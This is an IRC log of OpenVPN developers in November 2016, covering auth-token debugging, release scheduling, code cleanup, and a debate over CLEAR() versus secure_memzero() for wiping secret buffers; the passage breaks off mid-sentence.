16:05 <@cron2> we had a patch for inline auth-user-pass which was quite intrusive and did not apply anymore when coming back to it. andj wanted to take care of rebasing, but never found time. 16:06 <@dazo> that! yes, now I recall it too 16:06 <@cron2> looking at inline http-proxy-user-pass (which is magic and brilliant) suggests that the fairly intrusive auth-user-pass patch wasn't using enough magic... so "feature-ACK but the code needs to be done from scratch" or so 16:10 <@dazo> cron2: btw ... when speaking about authentication ... have you tried enabling --auth-gen-token on one of your setups using OTP? 16:14 <@plaisthos> cron2: it is james patch or was it mine based on james implementing it for 3.x and getting flooded with config of it? 16:14 * plaisthos checks 16:17 <@plaisthos> it is James patch --- Day changed Sat Nov 26 2016 02:56 <@cron2> dazo: have not had time to test it yet 12:26 < slypknot> just spotted a tiny wee inconsistency doing ./configure: 12:26 < slypknot> configure: checking anonymous union support... 12:26 < slypknot> yes 12:27 * slypknot is testing --auth-gen-token 17:01 < slypknot> something horrible is going on with 2.4_beta2 .. password is not sent to server ? 17:12 <@dazo> slypknot: that's odd ... but depends on config 17:13 < slypknot> I realise 17:13 < slypknot> I have been going thru this with a fine tooth comb for over an hour .. 17:13 < slypknot> I was just wondering if there are any known possible issues ? 17:13 < slypknot> if not I'll document it 17:14 <@dazo> nope, but I'll run a test now 17:14 < slypknot> as far as I can tell .. there is no $password in server env 17:14 < slypknot> $username is ok 17:15 <@dazo> slypknot: do you use --script-security 3 ... and --auth-user-pass-verify $script via-env ? 17:15 < slypknot> yup 17:15 <@dazo> I'll double check now 17:16 < slypknot> there is only one thing i can find that might be a problem which is w10 password-manager thing maybe interfering but i turn it off for openvpn client 17:16 < slypknot> i tested the client with file and manual entry 17:18 <@dazo> okay, I know authentication data is sent to server for sure ... just did a successful auth when authenticating against an openvpn AS server 17:18 < slypknot> ok 17:18 <@dazo> So now lets see where that password goes 17:18 <@dazo> slypknot: can you pastebin --verb 4 logs in the mean time? 17:18 <@dazo> (of server side in particular) 17:19 < slypknot> i'll doc the whole setup if you want 17:19 <@dazo> --verb 7 I mean 17:19 < slypknot> ok 17:21 <@dazo> lets first see some test results first ... from my testing and your logs, and we'll see before we start documenting anything 17:22 < slypknot> hang on ! 17:22 < slypknot> I just found something (not the log) 17:22 < slypknot> My command line = 17:22 < slypknot> /usr/local/sbin/openvpn --writepid /run/openvpn/defaults.pid --daemon ovpn-defaults --status /run/openvpn/defaults.status 10 --cd /etc/openvpn --config /etc/openvpn/defaults.conf --script-security 2 17:23 <@dazo> --script-security 2 will not provide passwords in env 17:23 < slypknot> lol .. just like before --config is being overwritten ? 17:23 < slypknot> thanks to your info about putting --cinfig last ! 17:24 < slypknot> I'll try again properly 17:24 <@dazo> the last occurrence of an option will override earlier options 17:24 < slypknot> yup 17:28 < slypknot> that was all it was .. false alarm ! 17:29 <@dazo> good! 17:29 < slypknot> cheerz dazo :) 17:29 <@dazo> yw! :) 17:29 < slypknot> i can get on with token now :) 17:29 <@dazo> :) 18:04 < slypknot> dazo: I have a working OTP setup with --reneg-sec 180 the client is always prompted for the password .. so I just add --ath-gen-token 0 to the server config (restart) - I see push auth-token sent & recieved but the client still has to enter p/w every time ? I am missing something .. 18:04 < slypknot> is there a plugin required ? 18:07 < slypknot> hmm .. where is -token ? 18:12 <@dazo> ehm ... --auth-gen-token 0 ? 18:12 <@dazo> try without 0 or a value > 0 18:13 <@dazo> oh well, 0 should be "disable lifetime" 18:13 <@dazo> (which is the default, though) 18:14 < slypknot> infact it is just --auth-gen-token 18:14 <@dazo> right ... and with --verb 7 ... you see a token value being sent and received in the client log? 18:15 <@dazo> and you see the client try to resend that token as the password in the server config? 18:16 < slypknot> ahh --verb 7 hold on 18:16 <@dazo> yeah, --verb 7 will show private keys/passwords/etc 18:37 <@dazo> any progress, slypknot? 18:38 < slypknot> https://dpaste.de/0b9m 18:38 < slypknot> sorry for the delay 18:39 < slypknot> i see the token sent to client but not returned .. 18:45 <@dazo> I don't see a re-authentication happening here 18:46 < slypknot> exactly .. is there something i need in the client config ? 18:46 <@dazo> should not be .... which version is client? 18:46 < slypknot> the client returns to the user/pass prompt btw 18:47 < slypknot> win10 2.4_beta2 18:47 <@dazo> do you use --auth-nocache in client config? 18:47 < slypknot> yes 18:47 <@dazo> remove that one 18:47 < slypknot> ahh 18:47 <@dazo> that will enforce requesting a new password 18:48 < slypknot> hold tight 18:48 <@dazo> hmmm .... we should probably consider to "disable" that one if --auth-token is received via PUSH_REPLY from server 18:51 < slypknot> ok .. the vpn stays up now .. 18:52 <@dazo> okay, so by adding a number to --auth-gen-token, the tunnel should stay up for X seconds before disconnecting (token expired) 18:52 < slypknot> yeah 18:53 < slypknot> does using auth-token stop the mechanism exchanging username/password ? 18:53 < slypknot> after the initial connection 18:53 <@dazo> nope, but the password is replaced by the token 18:53 < slypknot> ahh ! 18:54 < slypknot> got it :) 18:54 < slypknot> tyvm :) 18:54 <@dazo> that's why I think we can disable --auth-nocache when a client receives --auth-token 18:55 <@dazo> (and that token is only valid as long as the client is alive ... once it dies/disconnects, the token dies with it) 18:55 < slypknot> it would us from save some howlers 18:55 <@dazo> yeah 18:55 < slypknot> now i understand how the exchange takes place it makes total sense 18:56 < slypknot> that was why i thought i needed --auth-nocache 19:03 < slypknot> works perfect : Sun Nov 27 00:56:17 2016 us=50631 defaultc01/10.10.101.110:62605 Auth-token for client expired 19:03 <@dazo> wonderful! 19:04 < slypknot> my test was about as simple as possible 19:04 < slypknot> but thats the case you need to know works :) 19:04 <@dazo> :) 19:05 < slypknot> thanks again 19:05 < slypknot> time to relax 19:05 <@dazo> yw 19:06 < slypknot> hang on 19:08 * slypknot trying again .. it seemed to reconnect automatically after expiry 19:08 <@dazo> that cannot happen 19:09 <@dazo> hmmmmmmmm 19:09 <@dazo> or? 19:09 <@dazo> nope 19:09 < slypknot> well i'm trying 19:09 < slypknot> FYI 19:09 <@dazo> if (session->opt->auth_token_lifetime > 0 19:09 <@dazo> && (multi->auth_token_tstamp + session->opt->auth_token_lifetime) < now) 19:09 <@dazo> { 19:09 <@dazo> msg (D_HANDSHAKE, "Auth-token for client expired\n"); 19:09 <@dazo> ks->authenticated = false; 19:09 <@dazo> goto done; 19:09 <@dazo> } 19:10 <@dazo> This is what is called *before* the authentication token is being authenticated ... so if the server-side token lifetime timestamp have expired, the sessions should be de-authenticated 19:10 < slypknot> no problem 19:11 < slypknot> i am running a 4 minute test 19:11 <@dazo> that said ... we could wipe the token from memory, just for good measures 19:14 < slypknot> we have expiry 19:14 < slypknot> ping-restart 19:15 <@dazo> https://paste.fedoraproject.org/490435/80208868/raw/ ... can you test this patch together with --auth-gen-token (server) and --auth-nocache (on client)? 19:15 < slypknot> the client does not re-ask for password 19:15 <@dazo> this patch is a client-side patch 19:15 <@dazo> slypknot: yeah, according to James, that is the expected behaviour .... I have provided some patches, which syzzer and I will need to look more into to improve the error message when tokens expires and such 19:16 < slypknot> ok 19:16 < slypknot> so its expected for now ? 19:16 <@dazo> yes 19:16 < slypknot> ok 19:16 < slypknot> ty 19:17 <@dazo> ty too! 19:17 < slypknot> np 19:17 < slypknot> :) --- Day changed Mon Nov 28 2016 01:54 <@cron2> mornin 03:02 <+krzee> moinmoin 03:03 <@cron2> ecrist: could you bump the FreeBSD port, please? I'd love to have poor man's NCP (=beta2) on our servers, but I'm too lazy to compile myself :-) 03:04 <+krzee> i raised that bounty on that compile for my snoms to $1000 usd btw 03:06 <+krzee> it has proven to be quite difficult, even syzzer has had problems getting something to work 04:06 <@syzzer> ordex: still around? 04:07 <@mattock> so when will we release 2.3.14? 04:08 <@syzzer> ordex: if you want the CRL stat() patch into 2.4, it should be in before Thursday 04:09 <@syzzer> (It might be debatable, but I would consider that a bugfix, albeit non-critical.) 04:24 < ordex> syzzer: copy that ! 04:24 < ordex> I'll do my best 04:25 < ordex> sorry, but I got quite overwhelmed by some side work 04:25 <@syzzer> ordex: no need to apologize, just wanted to give you the heads-up so we might be able to get your work in 04:25 < ordex> yup, thanks :) 04:26 <@syzzer> if not, it will got into 2.5. Not a problem either. 05:02 < ordex> oky 05:32 <@cron2> mattock: any particular reasons you are asking? (side note: meeting wednesday) 05:50 <@mattock> cron2: yes, I want to know when I need to work on it :) 05:54 <@cron2> mattock: when do you want to work on it? ;-) - there's a few bugs we could tackle, but I feel a bit exhausted right now 06:15 <@plaisthos> krzee: what is the problem? 06:17 <@syzzer> plaisthos: compiling for a rather old architecture (quite doable), but also for an old platform 06:17 <@plaisthos> that sounds like something as linux 2.2 stuff on arm5 or so 06:17 <@syzzer> yeah, that sort of thing 06:20 <@mattock> cron2: I'm in no hurry with 2.3.14, but I'd like to avoid having to make 2.4_rc1 and 2.3.14 on the same day or something silly like that 06:21 <@mattock> I see the plan is to release 2.4_rc1 on Thu 06:21 <@syzzer> cron2, mattock: re 2.3.14, I think we should cherry-pick the secure_memzero() patch to 2.3 before 2.3.14 06:22 <@plaisthos> whee! a rc :) 06:22 <@mattock> we could also potentially release 2.3.14 after rc1, but before rc2 (first two weeks of Dec) 06:23 <@mattock> two releases in a week is probably too much for everyone, even one is quite a lot 06:23 <@mattock> anyways, I'll send the meeting invitation now 06:25 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2016-11-30 06:25 <@vpnHelper> Title: Topics-2016-11-30 – OpenVPN Community (at community.openvpn.net) 06:26 <@cron2> syzzer: if I have something to cherry-pick, I'm all-in :-) (and yes, that makes sense) 06:26 <@syzzer> cron2: patch should be on the list :) 06:26 <@cron2> mattock: indeed, 2.4_rc1 this week, 2.4_rc2 next week, 2.3.14 when you feel like it 06:27 <@cron2> syzzer: feature-ack, code review tonight 06:27 <@syzzer> ack 06:27 <@mattock> rc2 was marked 15th Dec (two weeks from the upcoming Thursday) 06:28 <@cron2> oh - this sounds like 2.3.14 next week, then :) 06:28 <@mattock> so something like 5th - 9th would be suitable for 2.3.14 06:28 <@mattock> yes, exactly 06:28 <@syzzer> cron2: patch probably won't actually cherry-pick, but I'll do a 2.3 version once this one is through 06:28 <@cron2> .oO(who introduced memset() in openvpn_encrypt_aead() anyway...!?) 06:28 <@mattock> did you receive the meeting invitation? 06:28 <@syzzer> yeah, must be an idiot 06:28 <@plaisthos> lets blame alon! 06:28 <@mattock> my Thunderbird (or Icedove) crashed when I sent it 06:28 <@cron2> syzzer: indeed, let's blame alon! 06:29 <@mattock> it is crash-happy on Debian 8 06:29 <@cron2> mattock: yes, arrived 06:29 <@mattock> ok, good 06:31 <@plaisthos> the report of Zhaomo Yang came through security@? 06:31 <@plaisthos> or did I completely miss it 06:32 <@syzzer> plaisthos: indeed, security@ 06:38 < ordex> syzzer: if 2.4 feature complete by now ? meaning: if I send a small non-bugfix, it won't be included? 06:39 < ordex> *is 06:40 <@syzzer> ordex: in principle it is, but it really depends on the patch (usefulness, invasiveness, etc.) 06:40 < ordex> oky 06:40 < ordex> let's see if I Can finish it :) 06:41 <@plaisthos> basically we wanted also 2.4 to be out 06:41 <@syzzer> ordex: the official text is "Only patches related to stabilising and important bug-fixes are allowed" 06:41 <@plaisthos> since we were for three year "just this feature and this other feature" 06:42 < ordex> :D 06:42 < ordex> plaisthos: I know that game ! 06:42 < ordex> syzzer: ok, thanks 06:43 <@plaisthos> we are playing that game since 2014 :) 06:43 <@syzzer> I would put the not-reloading-CRL in that category, because it makes setups with big CRLs and lots of connections (which goes well together...) go from 'almost unworkable' to 'works fine!' 06:44 <@plaisthos> ack 06:44 * syzzer just kicked openssl 1.1.0 support to 2.5 06:47 <@plaisthos> lets aim for a 2.5 release that is not 3 years in the future 06:48 <@plaisthos> otherwise we might still need to backport it to 2.4 06:48 <@plaisthos> when distros are not shipping 1.0.2 anymore 06:49 <@syzzer> indeed 06:50 < ordex> oky 06:55 <@cron2> I tend to also judge "this is important to have" vs. "how large is the code impact, how many users will actually see this?" 06:55 <@cron2> so if you need to turn on a rarely-used feature to actually excercise a (small) code change, this could go in - but if it's in the hot path and rewrites everything... 06:56 < ordex> yeah, definitely makes sense 06:56 < ordex> but actually it is not a big change, although it touches a lot of things. thus, I'd avoid to propose it now 06:57 < ordex> it's the _inline conversion thing that I sent over the ml before and needed some more work. I'll postpone it for later 06:57 < ordex> doesn't hurt to wait :) 08:08 <@syzzer> pff, we really need to refactor our use of int vs size_t ... 08:08 <@syzzer> so many casts back and forth 08:09 <@cron2> +1 08:09 <@syzzer> I was just looking into "Let's settle this format_hex_ex() discussion once and for all" 08:10 <@plaisthos> yeah 08:10 <@syzzer> but there's so much more wrong with that code than just what static analysers complain about 08:10 <@plaisthos> I started that 08:10 <@plaisthos> but then there is the problem that same places use an int negative as error 08:11 <@plaisthos> and size_t was usigned 08:11 <@syzzer> so I think I'm just documenting assumptions with static_assert() for now, postpone any further changes for 2.5+ 08:11 <@plaisthos> syzzer: bumping c99 to c11, I see? :) 08:12 <@syzzer> plaisthos: yeah, I ran into that too. Needs real refactoring. 08:12 <@plaisthos> but we cann probbaly do a 08:12 <@syzzer> plaisthos: https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/error.h#L227 08:13 <@vpnHelper> Title: openvpn/error.h at master · OpenVPN/openvpn · GitHub (at github.com) 08:13 <@plaisthos> #ifdef c_feature_static_assert 08:13 <@plaisthos> static_assert 08:13 <@plaisthos> #else 08:13 <@plaisthos> ugly hack or nothing 08:13 <@plaisthos> #endif 08:13 <@syzzer> I got that ;) 08:13 <@plaisthos> :) 08:14 <@plaisthos> is that an evil hack 08:14 <@syzzer> shameless copy-and-paste, rather ;) 08:14 <@plaisthos> (and I have to admit that I hav done too much C programming, since I understand why that works ...) 08:15 <@syzzer> hehe, this is a good indicator for that indeed ;) 08:16 <@plaisthos> not sure why the !! is needed 08:16 <@plaisthos> maybe to force evaluating 08:16 <@cron2> plaisthos: to force the result to be 0 or 1, not "something" 08:18 <@plaisthos> ah to have always the same extern int prototype defined and not conflicting ones 08:18 <@plaisthos> got ya 09:27 <@cron2> syzzer: your cleanup goes to master(-only)? 09:28 <@syzzer> cron2: I'd say so 09:31 <@syzzer> I'm basically preparing a bit for the (possibly) upcoming audit. I'd rather have the auditors spend their time looking for issues that we are not aware of (and we know are harmless) 09:32 <@cron2> makes sense 09:38 < ordex> syzzer: any easy suggestion to compile my current branch for windows by using openvpn-build ? it looks like I have to hack it big time to make it use my local branch instead of downloading a tarball 09:39 <@cron2> ordex: I've eventually given up and had it do a "normal build", then I went in there and replaced the "openvpn-git" directory with a git clone, and built in there... 09:40 < ordex> mh 09:40 < ordex> can I create a symlink maybe ? 09:40 < ordex> openvpn-git -> my/local/repo ? 09:40 < ordex> is that what you mean ? 09:42 <@syzzer> ordex: I don't use openvpn-build for development for exactly this reason. Instead I created my own cross compiler wrapper scripts. 09:42 <@cron2> just clone your repo ("git cloene") 09:42 <@syzzer> git clöne :') 09:42 < ordex> :D 09:43 < ordex> syzzer: any wrapper to share ? :-P I am not familiar with compiling for windows actually 09:43 <@cron2> I might want to spend a few hours on openvpn-build after 2.4-release and make it work for "*there* is the repo you want to use, go build!" 09:43 < ordex> that is why I Was hoping to use openvpn-build 09:43 < ordex> cron2: that would be nice :D 09:43 <@cron2> ordex: "after release" -> January-ish 09:43 < ordex> cron2: I hope I'll survive till then! ;P 09:44 < ordex> I may lose all my hair :F 09:44 < ordex> eheh 09:44 < ordex> anyway 09:44 < ordex> I understand we all suffer from the same problem :) 09:44 <@cron2> see above how to start hacking... 09:44 <@cron2> right 09:49 < ordex> yeah 09:49 < ordex> thanks for the hints 09:53 <@cron2> syzzer: 09:53 <@cron2> + const size_t bytes_per_hexblock = space_break_flags & FHE_SPACE_BREAK_MASK; 09:53 <@cron2> I'm not sure this is much clearer, tbh... is this "1" or "3" or what? 09:53 <@vpnHelper> RSS Update - gitrepo: Unconditionally enable TLS_AGGREGATE_ACK <https://github.com/OpenVPN/openvpn/commit/718257811b42b2bf4a7ee325a38c3cb147c53cc2> || tls_process: don't set variable that's never read <https://github.com/OpenVPN/openvpn/commit/06c54466c86ee3beff9b6cd75f40de5e431d8235> 09:54 <@cron2> oh 09:55 * cron2 takes this back... it's "how many bytes do you want", ok 09:57 <@cron2> this is something I do not like about James' coding style - overloading parameters with "stuff stuff in other bits that are currently unused" to avoid changing the function footprint 09:58 <@syzzer> cron2: indeed. Which is what I tried to clarify with the 'bytes_per_block' var name. 09:59 <@cron2> syzzer: which I understand now :-) - and indeed, this is quite clear. I misread this as "it's a flag", so "0 or 1-ish" 09:59 <@cron2> how do you test this one? 09:59 <@syzzer> --verb 11 :p 09:59 <@syzzer> or your favorite high log level 10:11 <@cron2> I think I want that one for the 2.3 code base as well, but it needs to bring along static_assert() 10:21 <@vpnHelper> RSS Update - tickets: #774: Issue with "register-dns" <https://community.openvpn.net/openvpn/ticket/774> 10:22 < slypknot> ordex: I have built openvpn for windows using openvpn-build and changing sources in build.vars to the openvpn version of choice .. then tarballing that ovpn version to the sources directory in build .. it works well 10:24 <@syzzer> cron2: I can do that, or leave out the static_assert() and keep it implicit as it is now 10:33 <@vpnHelper> RSS Update - tickets: #775: Issue with "register-dns" <https://community.openvpn.net/openvpn/ticket/775> 10:38 <@cron2> syzzer: I think importing the static_assert() is safe enough (it will blow at compile-time or not at all) 10:38 <@vpnHelper> RSS Update - gitrepo: Clean up format_hex_ex() <https://github.com/OpenVPN/openvpn/commit/294040102fbceb4be320a45ba3c340ace1804a49> 10:40 <@cron2> can someone (dazo?) look at the patch from Christian Hesse for configure.ac? 10:51 <@cron2> syzzer: Selva sent a review on the secure_memzero() patch - could you look into it and send a v2 if needed? He found a few places that "look like they want this" 10:54 <@syzzer> cron2: will do 10:55 <@syzzer> (I actually missed the new auth-token code, which triggered me to make the trac ticket, d'oh...) 10:55 <@cron2> lol 11:02 <@syzzer> cron2: no new secure_memzero() today probably - out for sports now. 11:03 <@cron2> no more brain sports :) 11:27 <@vpnHelper> RSS Update - tickets: #776: explicit-exit-notify is enabled in sample server.conf, but it is not supported for server mode <https://community.openvpn.net/openvpn/ticket/776> 12:38 <@cron2> so 12:39 <@cron2> test set 2 can now do poor man's NCP with the AES*CBC ciphers 12:39 <@cron2> Nov 28 13:32:03 phillip tun-udp-p2mp[53740]: cron2-gentoo-i386/193.149.48.174 Using peer cipher 'AES-256-CBC' 12:39 <@cron2> (2.3 client -> openvpn reference server, using --cipher on the client) 12:46 <@cron2> ecrist: ping 13:09 <@vpnHelper> RSS Update - gitrepo: update year in copyright message <https://github.com/OpenVPN/openvpn/commit/7f7d6b2eb0f69f0e8952028488d7aa02619ad76f> 13:33 <@vpnHelper> RSS Update - gitrepo: Fix windows path in Changes.rst <https://github.com/OpenVPN/openvpn/commit/6c6456f4384ec76649febba8ada7806905d84bc4> 14:45 <@vpnHelper> RSS Update - tickets: #777: excessive logging with explicit-exit-notify <https://community.openvpn.net/openvpn/ticket/777> 19:20 < ordex> cron2: syzzer: fo some reason I get this when compiling openssl for windows, any clue? https://nopaste.unstable.cc/?95 19:22 < ordex> mh maybe the i686 cross compiler should not be compiling a x86_64 asm code ? 19:42 < ordex> or maybe the script expect my cross compiler to be able to do both 19:42 < ordex> *expects 23:02 <@vpnHelper> RSS Update - tickets: #778: Routes changed by --redirect gatway not re-instated on exit if interactive service is in use <https://community.openvpn.net/openvpn/ticket/778> 23:36 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 246 seconds] 23:38 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 23:38 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Tue Nov 29 2016 01:31 <@cron2> ordex: no idea 02:12 <@vpnHelper> RSS Update - gitrepo: Map restart signals from event loop to SIGTERM during exit-notificati… <https://github.com/OpenVPN/openvpn/commit/f25a0217e35f53c3110ebb226e1d1f3528152cb5> 02:23 <@syzzer> excellent, snair and cron2 already typed the mail I was planning to :p 02:25 <@cron2> syzzer: haha :-) - so, three options now - 1) do we wait for dazo to wake up and agree? 2) do we (I) merge "as is" 3) do you want to look at Zhaomo's mail about the "new implementation" and send a v3? 02:26 <@cron2> (I find his implementation a bit complicated, doing everything with macros, and having sooo many different variants) 02:27 <@syzzer> just sent a mail to the list saying the same about the 'new implementation' 02:28 <@syzzer> Since you, me and snair seem to agree here, I think we're good to apply the patch (pending your ACK) 02:29 <@syzzer> but if you have time later today, there's no real need to rush it in either 02:30 <@cron2> I'm @home all day, getting "stuff done" (like, cleaning up the kids' room) - it's on my TODO list for today, but I'll wait a bit for dazo to show up and think about our arguments 02:30 <@syzzer> ok, let's wait for dazo then 02:31 <@syzzer> are you taking the signals patch from snair? 02:31 <@syzzer> I'll review and test the CRL patch, but probably not before tonight 02:31 <@cron2> the signals patch is already in :) 02:31 <@syzzer> oh :') 02:31 <@syzzer> excellent 02:32 <@cron2> that was really cool - trac comes in right before bed time, thrown over to Selva, I get up in the morning, fix already waiting for me 02:32 <@cron2> from the time stamps, he seems to be living in US east cost (-5), which nicely complements our awake times 02:51 <@cron2> openvpn central paging d12fk... d12fk, please call #778 :) 04:05 <@syzzer> cron2, plaisthos: ever looked into using linux' TPACKET interfaces instead of using a tun driver? 04:19 <@cron2> syzzer: no... but "having a dedicated interface" is actually a nice property, as it gives you an attachment point for regular iptables rules, tcpdump, ... 04:21 <@plaisthos> no 04:31 <@syzzer> cron2: yeah, for the typical 'must just work' setups tan/tap makes sense. For setups that need more performance this looks like a nice option to get around the tun bottleneck 04:32 <@plaisthos> we might also look into kvm/qemu 04:33 <@plaisthos> what they do 04:34 <@syzzer> I'm considering to focus more on performance for 2.5, now that most of my crypto features are in 2.4 04:42 <@cron2> my focus is somewhat on "code cleanup", but performance sounds useful :) 04:43 <@cron2> so where are dazo and d12fk hiding... *highlight* 05:44 < MK__> I am debugging OpenVPN client and I can see that tls_session_init is called twice at the beginning, creating two different sessions. What is that for? 05:49 <@plaisthos> might be a bug 05:50 <@plaisthos> hard to say without context 06:02 <@syzzer> MK__: tjat 06:03 <@syzzer> MK__: that's by design. see tls_multi_init_finalize() in ssl.c 06:04 <@cron2> "there are no bugs in our crypto code!" 06:04 * cron2 runs 06:06 <@plaisthos> All bugs are mine! 06:07 < MK__> :D 06:09 < slypknot> all your bugs are belong to plaisthos 06:10 * cron2 goes reassigning trac tickets 06:10 < MK__> Is there any sequence diagram for how OpenVPN communications work? 06:11 <@plaisthos> packet in -> [black box] -> packet out 06:11 <@plaisthos> :) 06:11 < MK__> It is what I am doing now 06:12 <@syzzer> MK__: what is it you are trying to do? 06:13 < MK__> Thinking of implementing a client in OCaml 06:13 <@plaisthos> MK__: talk to dazo he is in the process of writing a rfc for the openvpn protocol 06:14 <@plaisthos> implementing an actual client is a good way to test what he has written :0 06:14 < MK__> Yes, that is right. 06:16 < MK__> As far as I understand, if single session is not selected, two sessions TM_ACTIVE and TM_UNTRUSTED are created. What is the reason? 06:21 <@syzzer> MK__: when renegotiating, the current session stays active, and processes data channel packets, while the session in TM_UNTRUSTED is being set up 06:21 <@syzzer> once this second session has been fully setup, it will replace the primary session 06:54 <@cron2> argh... 06:54 <@cron2> #778 06:57 <@plaisthos> even Android always uses def1 06:58 <@plaisthos> implicitly converting default routes to two routes internally 07:03 <@dazo> cron2: sorry! Forgot to start irc today ... started reading mails directly 07:04 <@dazo> you're right that CLEAR() has its purpose in regards to ensure memory regions are wiped before use .... but for those tasks, we should rather use calloc() instead of malloc() - which would remove the need for CLEAR() 07:04 <@dazo> syzzer: ^^ 07:06 <@dazo> I just think with two fairly similar functions, which works somewhat similar ... with the exception of "potentially optimized if not used after CLEAR()" ... it's a trap every reviewer needs to beware of when reviewing code 07:07 <@dazo> I'll try to write some test programs where we can time these different calls ... and see if this "diversity" really makes sense, from a performance point of view 07:17 <@syzzer> dazo: I agree on moving to calloc, but that's just part of the issue 07:17 * cron2 doesn't understand why dazo hates CLEAR() so much... it's a very nice and clear (sic!) expression of "take this chunk of memory and set it to 0" 07:18 <@syzzer> we also CLEAR() structures before reusing them - purely to get predictable behaviour 07:18 <@cron2> "the need to do bzero() / memset(0)" cannot be argued away 07:19 <@cron2> someone who works with secret material in buffers needs to be doubly careful anyway... so this really are two independent issues 07:20 <@dazo> cron2: I don't hate CLEAR() itself ... it is that the current implementation will do memset() or not, depending on if it is used after it the CLEAR() operation .... Having one function which is safe when which is safe when optimized and one which is not in the same code tree will give us some challenges later on 07:21 <@cron2> I don't think so - one is the workhorse for "make sure this is initialized right" and the other one is "make these secret bits go away" 07:21 <@cron2> it's "clear before usage" and "clear after usage", which is really distinct functions 07:21 <@dazo> because you need to beware of two different implementations .... which can be easily forgotten in 2 years from now .... inexperienced developers + reviewers forgetting this will allow CLEAR() where secure_memzero() should be used 07:21 <@dazo> and that disticntion is not clear from CLEAR() itself 07:22 <@dazo> neither the name secure_memzero() implies that 07:23 <@dazo> if want to truly clean up and improve these areas ... we need some functions which have a much clearer naming and matching functionality, also when newer reviewers and contributors join 07:24 <@dazo> I agree we do need secure_memset()! That is crucial for many areas in openvpn 07:24 <@dazo> but we need to avoid confusion with secure_menset() vs CLEAR(), when to use what and how to use it properly 07:29 <@syzzer> dazo: this is why I added that in the comment above CLEAR() 07:31 <@cron2> "this is why we have documentation" - and someone writing new crypto code MUST make himself familiar with our environment anyway. All the buf* stuff is not something you can program "without knowing your way" 07:33 <@cron2> and of course reviewers need to know the difference - but reviewing our crypto code needs deep understanding, so shouldn't be done by newcomers either 07:34 <@dazo> "and someone writing new crypto code MUST make himself familiar with our environmen" == "Everyone driving a car on a highway must keep the speed limit" ... in some areas in OpenVPN we are incredibly strict to such cases, in others we seem not to care so much ... and I do get confused (and tired) by this lack of inconsistency in our code 07:36 <@dazo> I really want to read a patch and instantly see if it does it right or not ... by seeing which functions it calls and why it is right or wrong ... and CLEAR() do have such wide use, that it's been used on auto-pilot for many years 07:36 <@cron2> isn't this even better then, to have a clear marker "this was secret material and must be securely cleared" so the next one touching the code knows "oh, sensitive bits here"? 07:37 <@dazo> it is good to add a comment to CLEAR() ... but that won't change the situation in regards to the possibly unexpected behaviours if you don't use it right 07:37 <@cron2> and the assumption "instantly see if it's right or wrong" is just nice wishing, but IMPOSSIBLE for anything more involved 07:38 <@cron2> if someone introduces sensitive buffers, the person doing the review needs to be aware that this is a sensitive buffer 07:38 <@cron2> example: 07:38 <@dazo> "It always seems impossible until it's done" - Nelon Mandela .... I do not easily accept IMPOSSIBLE scenarios 07:38 <@cron2> buf = calloc(1000); 07:38 <@cron2> do_sensitive_stuff(buf); 07:38 <@cron2> free(buf); 07:38 <@cron2> is this code right or wrong? 07:38 <@plaisthos> depends on do_sensistive 07:39 <@cron2> "assuming do_sensitive_stuff will leave crypto bits in buf" 07:39 <@plaisthos> there needs to be a memset_secure on buf if there is sensitive data in it 07:39 <@dazo> if the function was named do_sensitive_stuff_wipe(buff) .... it would be clear 07:39 <@dazo> or what plaisthos says 07:39 <@cron2> that is the point - for normal malloc/free operations, we do *not* do CLEAR(buf) before free(buf), anywhere 07:40 <@dazo> cron2: well, we have actually removed a few of them already ... and used memset() or directly, just because things where funky 07:40 <@cron2> but if it's sensitve, we do want to clear the buf, and so we should not use CLEAR() there - so it's very obvious "this is sensitive bits here, and I'm aware of that" 07:40 <@dazo> becuase CLEAR() was used wrong 07:40 <@cron2> the only person ever used CLEAR() wrongly was you :-) - so I can see why you have some aversion against it 07:41 <@dazo> gee 07:41 <@cron2> really :-) 07:41 <@cron2> but this is really not the point - someone calling memset() wrongly won't make memset() a bad function over night 07:42 <@cron2> or calling memcpy() with src/dst reversed 07:42 <@cron2> "these are mistakes that happen, and reviewing should catch them" 07:42 <@syzzer> dazo: is the name of secure_memzero() an important part of your objections? because that's easily fixed :) 07:43 <@syzzer> rename it to wipe_secret() or somehting like that 07:44 <@dazo> syzzer: secure_memzero() is fine for me .... but CLEAR() is the nag point to me 07:44 <@dazo> cron2: have a look at ssl.c:1791 07:44 <@dazo> cleanup: 07:44 <@dazo> CLEAR (*ks->key_src); 07:44 <@dazo> return ret; 07:44 <@dazo> } 07:44 <@dazo> right or wrong? 07:44 * cron2 gives up 07:44 <@cron2> this is why we are changing exactly these places 07:45 <@cron2> EXACTLY these, so this will no longer be a CLEAR() 07:45 <@dazo> and so what was this bullshit that I was the only one using CLEAR() wrong? 07:46 <@cron2> the call of CLEAR() is totally correct, it's just that this should be a secure_memzero() instead 07:46 <@cron2> and the v2 patch is doing that 07:46 <@syzzer> dazo: cron2 was talking about calling CLEAR(data) on a char *data (or similar) 07:47 <@dazo> meh .... okay, that I didn't catch ... and that is also a very different discussion 07:47 <@cron2> key_src is a structure of known size, so CLEAR(*p) works - what you did was do that on a char * 07:47 <@cron2> (the one in console.c, which actually came back from the dead after fixing) 07:48 <@cron2> d09fbf958f1c 07:48 <@dazo> so in that case even secure_memzero() wouldn't have changed a shit .... so why are we discussing wrong pointer/variable usage? 07:48 <@syzzer> dazo: secure_memzero would have helped 07:48 <@syzzer> because it has separate data nd size arguments 07:48 <@syzzer> makes spotting the error easier 07:48 <@dazo> syzzer: yeah, agreed ... fair point 07:49 <@cron2> CLEAR() works on structures, and does it nicely so. It does not work on arrayish stuff 07:49 <@cron2> the example above is exactly what the patch would change: clear-after-use would become "wipe_secret()" or whatever, clear-before-use stays CLEAR() 07:49 <@cron2> and who misuses either function gets to pay next year's beer 07:50 <@dazo> regardless ... *that* is not my argument as CLEAR() vs secure_memzero() .... my argument about CLEAR() is purely that it behaves differently, depending on how you use it ... and that behavioural change is not easily captured by just the name CLEAR() 07:51 <@syzzer> dazo: nor is it captured by the underlying memset() 07:51 <@cron2> I don't get your point, tbh. Not at all. What sorts of "depending how you use it" uses do we have? 07:51 <@syzzer> the same developer who would type CLEAR() where he means secure_memzero(), would also type memset() instead of secure_memzero() 07:51 <@syzzer> and the unexperienced reviewer 